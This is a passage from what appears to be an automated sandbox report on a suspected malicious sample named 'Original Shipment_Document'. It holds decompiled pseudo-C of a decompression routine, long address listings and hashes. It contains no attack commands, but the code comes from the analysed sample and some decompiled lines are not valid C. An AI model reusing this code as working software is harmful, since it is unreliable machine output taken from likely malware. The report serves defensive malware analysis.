															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406e9d
0x00406e9d
0x00406ea1
0x00406ec2
0x00406ec9
0x00406ecf
0x00406ed5
0x00406ee7
0x00406eed
0x00406ef2
0x00000000
0x00406ea3
0x00406ea9
0x0040726a
0x0040726a
0x0040726a
0x0040726d
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b9
0x00000000
0x00000000
0x004072bb
0x004072bf
0x0040746e
0x00407484
0x0040748c
0x00407493
0x00407495
0x0040749c
0x004074a0
0x004074a0
0x004072cb
0x004072d2
0x004072da
0x004072dd
0x004072e0
0x004072e0
0x004072e6
0x004072e6
0x00406a82
0x00406a82
0x00406a82
0x00406a8b
0x00000000
0x00000000
0x00406a91
0x00000000
0x00406a9c
0x00000000
0x00000000
0x00406aa5
0x00406aa8
0x00406aab
0x00406aaf
0x00000000
0x00000000
0x00406ab5
0x00406ab8
0x00406aba
0x00406abb
0x00406abe
0x00406ac0
0x00406ac1
0x00406ac3
0x00406ac6
0x00406acb
0x00406ad0
0x00406ad9
0x00406aec
0x00406aef
0x00406afb
0x00406b23
0x00406b25
0x00406b33
0x00406b33
0x00406b37
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b27
0x00406b27
0x00406b2a
0x00406b2b
0x00406b2b
0x00000000
0x00406b27
0x00406b01
0x00406b06
0x00406b06
0x00406b0f
0x00406b17
0x00406b1a
0x00000000
0x00406b20
0x00406b20
0x00000000
0x00406b20
0x00000000
0x00406b3d
0x00406b3d
0x00406b41
0x004073ed
0x00000000
0x004073ed
0x00406b4a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b60
0x00406b63
0x00406b67
0x00000000
0x00000000
0x00406b69
0x00406b6f
0x00406b99
0x00406b9f
0x00406ba6
0x00000000
0x00406ba6
0x00406b75
0x00406b78
0x00406b7d
0x00406b7d
0x00406b88
0x00406b90
0x00406b93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bd8
0x00406bde
0x00406be1
0x00406bee
0x00406bf6
0x00000000
0x00000000
0x00406bad
0x00406bad
0x00406bb1
0x004073fc
0x00000000
0x004073fc
0x00406bbd
0x00406bc8
0x00406bc8
0x00406bc8
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040726d
0x0040726d
0x00407273
0x00407279
0x0040727f
0x00407299
0x0040729c
0x004072a2
0x004072ad
0x004072af
0x00407281
0x00407281
0x00407290
0x00407294
0x00407294
0x004072b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bfe
0x00406c00
0x00406c03
0x00406c74
0x00406c77
0x00406c7a
0x00406c81
0x00406c8b
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x00406c05
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c14
0x00406c16
0x00406c19
0x00406c1b
0x00406c20
0x00406c23
0x00406c26
0x00406c2a
0x00406c31
0x00406c34
0x00406c3b
0x00406c3f
0x00406c47
0x00406c47
0x00406c47
0x00406c41
0x00406c41
0x00406c41
0x00406c36
0x00406c36
0x00406c36
0x00406c4b
0x00406c4e
0x00406c6c
0x00406c6e
0x00000000
0x00406c50
0x00406c50
0x00406c53
0x00406c56
0x00406c59
0x00406c5b
0x00406c5b
0x00406c5b
0x00406c5e
0x00406c61
0x00406c63
0x00406c64
0x00406c67
0x00000000
0x00406c67
0x00000000
0x00000000
0x00000000
0x00406f07
0x00406f0b
0x00406f2e
0x00406f31
0x00406f34
0x00406f3e
0x00406f0d
0x00406f0d
0x00406f10
0x00406f13
0x00406f16
0x00406f23
0x00406f26
0x00406f26
0x0040726a
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x00000000
0x00406f4a
0x00406f4e
0x00000000
0x00000000
0x00406f54
0x00406f58
0x00000000
0x00000000
0x00406f5e
0x00406f60
0x00406f64
0x00406f64
0x00406f67
0x00406f6b
0x00000000
0x00000000
0x00406fbb
0x00406fbf
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fd6
0x0040726a
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040726a
0x00406fc1
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00406fed
0x00406ff0
0x00406ff3
0x00406fe8
0x00406fe8
0x00406fe8
0x00406ff6
0x00406ff9
0x00406ffc
0x00406ffc
0x00406fff
0x00407002
0x00407005
0x00407005
0x00407008
0x0040700f
0x00407014
0x00000000
0x00000000
0x004070a2
0x004070a2
0x004070a6
0x00407444
0x00000000
0x00407444
0x004070ac
0x004070af
0x004070b2
0x004070b6
0x004070b9
0x004070bf
0x004070c1
0x004070c1
0x004070c1
0x004070c4
0x004070c7
0x00000000
0x00000000
0x00406c97
0x00406c97
0x00406c9b
0x00407408
0x00000000
0x00407408
0x00406ca1
0x00406ca4
0x00406ca7
0x00406cab
0x00406cae
0x00406cb4
0x00406cb6
0x00406cb6
0x00406cb6
0x00406cb9
0x00406cbc
0x00406cbc
0x00406cbf
0x00406cc2
0x00000000
0x00000000
0x00406cc8
0x00406cce
0x00000000
0x00000000
0x00406cd4
0x00406cd4
0x00406cd8
0x00406cdb
0x00406cde
0x00406ce1
0x00406ce4
0x00406ce5
0x00406ce8
0x00406cea
0x00406cf0
0x00406cf3
0x00406cf6
0x00406cf9
0x00406cfc
0x00406cff
0x00406d02
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2e
0x00406d32
0x00406d34
0x00406d38
0x00406d04
0x00406d04
0x00406d08
0x00406d10
0x00406d15
0x00406d17
0x00406d19
0x00406d19
0x00406d3b
0x00406d42
0x00406d45
0x00000000
0x00406d4b
0x00000000
0x00406d4b
0x00000000
0x00406d50
0x00406d50
0x00406d54
0x00407414
0x00000000
0x00407414
0x00406d5a
0x00406d5d
0x00406d60
0x00406d64
0x00406d67
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d6f
0x00406d72
0x00406d75
0x00406d75
0x00406d75
0x00406d7b
0x00000000
0x00000000
0x00406d7d
0x00406d80
0x00406d83
0x00406d86
0x00406d89
0x00406d8c
0x00406d8f
0x00406d92
0x00406d95
0x00406d98
0x00406d9b
0x00406db3
0x00406db6
0x00406db9
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc3
0x00406dc5
0x00406d9d
0x00406d9d
0x00406da5
0x00406daa
0x00406dac
0x00406dae
0x00406dae
0x00406dc8
0x00406dcf
0x00406dd2
0x00000000
0x00406dd4
0x00000000
0x00406dd4
0x00406dd2
0x00406dd9
0x00406dd9
0x00406dd9
0x00406dd9
0x00000000
0x00000000
0x00406e14
0x00406e14
0x00406e18
0x00407420
0x00000000
0x00407420
0x00406e1e
0x00406e21
0x00406e24
0x00406e28
0x00406e2b
0x00406e31
0x00406e33
0x00406e33
0x00406e33
0x00406e36
0x00406e39
0x00406e39
0x00406e3f
0x00406ddd
0x00406ddd
0x00406de0
0x00000000
0x00406de0
0x00406e41
0x00406e41
0x00406e44
0x00406e47
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5f
0x00406e77
0x00406e7a
0x00406e7d
0x00406e80
0x00406e80
0x00406e83
0x00406e87
0x00406e89
0x00406e61
0x00406e61
0x00406e69
0x00406e6e
0x00406e70
0x00406e72
0x00406e72
0x00406e8c
0x00406e93
0x00406e96
0x00000000
0x00406e98
0x00000000
0x00406e98
0x00000000
0x00407125
0x00407125
0x00407129
0x00407450
0x00000000
0x00407450
0x0040712f
0x00407132
0x00407135
0x00407139
0x0040713c
0x00407142
0x00407144
0x00407144
0x00407144
0x00407147
0x00000000
0x00000000
0x00406ef5
0x00406ef5
0x00406ef8
0x0040726a
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x00000000
0x00407234
0x00407238
0x0040725a
0x0040725d
0x00407267
0x0040726a
0x0040726a
0x0040726a
0x00000000
0x0040726a
0x0040726a
0x0040723a
0x0040723d
0x00407241
0x00407244
0x00407244
0x00407247
0x00000000
0x00000000
0x004072f1
0x004072f5
0x00407313
0x00407313
0x00407313
0x0040731a
0x00407321
0x00407328
0x00407328
0x00000000
0x00407328
0x004072f7
0x004072fa
0x004072fd
0x00407300
0x00407307
0x0040724b
0x0040724b
0x0040724e
0x00000000
0x00000000
0x004073e2
0x004073e5
0x004072e6
0x00000000
0x00000000
0x0040701c
0x0040701e
0x00407025
0x00407026
0x00407028
0x0040702b
0x00000000
0x00000000
0x00407033
0x00407036
0x00407039
0x0040703b
0x0040703d
0x0040703d
0x0040703e
0x00407041
0x00407048
0x0040704b
0x00407059
0x00000000
0x00000000
0x0040732f
0x0040732f
0x00407332
0x00407339
0x00000000
0x00000000
0x0040733e
0x0040733e
0x00407342
0x0040747a
0x00000000
0x0040747a
0x00407348
0x0040734b
0x0040734e
0x00407352
0x00407355
0x0040735b
0x0040735d
0x0040735d
0x0040735d
0x00407360
0x00407363
0x00407363
0x00407363
0x00407363
0x00407366
0x00407366
0x0040736a
0x004073ca
0x004073cd
0x004073d2
0x004073d3
0x004073d5
0x004073d7
0x004073da
0x004072e6
0x004072e6
0x00000000
0x004072ec
0x004072e6
0x0040736c
0x00407372
0x00407375
0x00407378
0x0040737b
0x0040737e
0x00407381
0x00407384
0x00407387
0x0040738a
0x0040738d
0x004073a6
0x004073a9
0x004073ac
0x004073af
0x004073b3
0x004073b5
0x004073b5
0x004073b6
0x004073b9
0x0040738f
0x0040738f
0x00407397
0x0040739c
0x0040739e
0x004073a1
0x004073a1
0x004073bc
0x004073c3
0x00000000
0x004073c5
0x00000000
0x004073c5
0x00000000
0x00407061
0x00407064
0x0040709a
0x004071ca
0x004071ca
0x004071ca
0x004071ca
0x004071cd
0x004071cd
0x004071d0
0x004071d2
0x0040745c
0x00000000
0x0040745c
0x004071d8
0x004071db
0x00000000
0x00000000
0x004071e1
0x004071e5
0x004071e8
0x004071e8
0x004071e8
0x00000000
0x004071e8
0x00407066
0x00407068
0x0040706a
0x0040706c
0x0040706f
0x00407070
0x00407072
0x00407074
0x00407077
0x0040707a
0x00407090
0x00407095
0x004070cd
0x004070cd
0x004070d1
0x004070fd
0x004070ff
0x00407106
0x00407109
0x0040710c
0x0040710c
0x00407111
0x00407111
0x00407113
0x00407116
0x0040711d
0x00407120
0x0040714d
0x0040714d
0x00407150
0x00407153
0x004071c7
0x004071c7
0x004071c7
0x00000000
0x004071c7
0x00407155
0x0040715b
0x0040715e
0x00407161
0x00407164
0x00407167
0x0040716a
0x0040716d
0x00407170
0x00407173
0x00407176
0x0040718f
0x00407191
0x00407194
0x00407195
0x00407198
0x0040719a
0x0040719d
0x0040719f
0x004071a1
0x004071a4
0x004071a6
0x004071a9
0x004071ad
0x004071af
0x004071af
0x004071b0
0x004071b3
0x004071b6
0x00407178
0x00407178
0x00407180
0x00407185
0x00407187
0x0040718a
0x0040718a
0x004071b9
0x004071c0
0x0040714a
0x0040714a
0x0040714a
0x0040714a
0x00000000
0x004071c2
0x00000000
0x004071c2
0x004071c0
0x004070d3
0x004070d6
0x004070d8
0x004070db
0x004070de
0x004070e1
0x004070e3
0x004070e6
0x004070e9
0x004070e9
0x004070ec
0x004070ec
0x004070ef
0x004070f6
0x004070ca
0x004070ca
0x004070ca
0x004070ca
0x00000000
0x004070f8
0x00000000
0x004070f8
0x004070f6
0x0040707c
0x0040707f
0x00407081
0x00407084
0x00000000
0x00000000
0x00406de3
0x00406de3
0x00406de7
0x0040742c
0x00000000
0x0040742c
0x00406ded
0x00406df0
0x00406df3
0x00406df6
0x00406df9
0x00406dfc
0x00406dff
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e0c
0x00406e0c
0x00406e0c
0x00000000
0x00000000
0x00406f6e
0x00406f6e
0x00406f72
0x00407438
0x00000000
0x00407438
0x00406f78
0x00406f7b
0x00406f7e
0x00406f81
0x00406f83
0x00406f83
0x00406f83
0x00406f86
0x00406f89
0x00406f8c
0x00406f8f
0x00406f92
0x00406f95
0x00406f96
0x00406f98
0x00406f98
0x00406f98
0x00406f9b
0x00406f9e
0x00406fa1
0x00406fa4
0x00406fa4
0x00406fa4
0x00406fa7
0x00406fa9
0x00406fa9
0x00000000
0x00000000
0x004071eb
0x004071eb
0x004071eb
0x004071ef
0x00000000
0x00000000
0x004071f5
0x004071f8
0x004071fb
0x004071fe
0x00407200
0x00407200
0x00407200
0x00407203
0x00407206
0x00407209
0x0040720c
0x0040720f
0x00407212
0x00407213
0x00407215
0x00407215
0x00407215
0x00407218
0x0040721b
0x0040721e
0x00407221
0x00407224
0x00407228
0x0040722a
0x0040722d
0x00000000
0x0040722f
0x00406fac
0x00406fac
0x00000000
0x00406fac
0x0040722d
0x00407462
0x00000000
0x00000000
0x00406a91
0x00407499
0x00407499
0x00000000
0x00407499
0x004072e6
0x0040726d
0x0040726a
0x00000000
0x00406ea1

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89603fd8b8eecea839b3cd3a2d66b7f9e848fabc5245f70b4c88dad99cb78f07
Instruction ID: 6da958b06032b63f13a44664be3ec753dd66a0d9f0ebc92e4dfa00afb32c2233
Opcode Fuzzy Hash: 89603fd8b8eecea839b3cd3a2d66b7f9e848fabc5245f70b4c88dad99cb78f07
Instruction Fuzzy Hash: 677123B1D04229CBDF24CFA8C8847ADBBF1FB44305F14816AE856B7281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406FBB Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406FBB() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M004074A1))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4)); // executed
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8)); // executed
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
